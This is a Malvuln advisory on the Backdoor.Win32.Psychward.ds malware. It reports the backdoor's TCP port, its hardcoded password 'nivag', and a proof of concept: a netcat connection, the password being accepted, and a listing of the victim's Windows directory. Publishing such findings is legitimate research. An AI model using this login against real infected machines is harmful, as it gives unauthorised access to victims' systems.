Original source: https://malvuln.com/advisory/9e22514c9b0e74c7fcb07b7c091f6123.txt
Contact:
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Psychward.ds
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 9878 and requires a
password for remote user access. However, the backdoors password
"nivag" is weak and hardcoded in plaintext within the
executable.
Type: PE32
MD5: 9e22514c9b0e74c7fcb07b7c091f6123
Vuln ID: MVID-2021-0219
Disclosure: 05/18/2021
Exploit/PoC:
nc64.exe x.x.x.x 9878
connected 05/18/21 09:39:43. version 0.2.1
pwd nivag
password accepted
dir
<..>
<addins>
<appcompat>
<apppatch>
<AppReadiness>
assembly 0
Backdoor.Win32.Psychward.ds.9e22514c9b0e74c7fcb07b7c091f6123.exe
51433
<bcastdvr>
bfsvc.exe 65536
BitLockerDiscoveryVolumeContents 0
<Boot>
bootstat.dat 67584
<Branding>
<CbsTemp>
<Containers>
<CSC>
<Cursors>
<debug>
<DeliveryOptimization>
diagerr.xml 7623
<diagnostics>
diagwrn.xml 7623
<DigitalLocker>
Downloaded Program Files 0
ELAMBKUP 0
<en-US>
Enterprise.xml 35990
explorer.exe 3904296
Fonts 0
<GameBarPresenceWriter>
<Globalization>
<Help>
HelpPane.exe 976896
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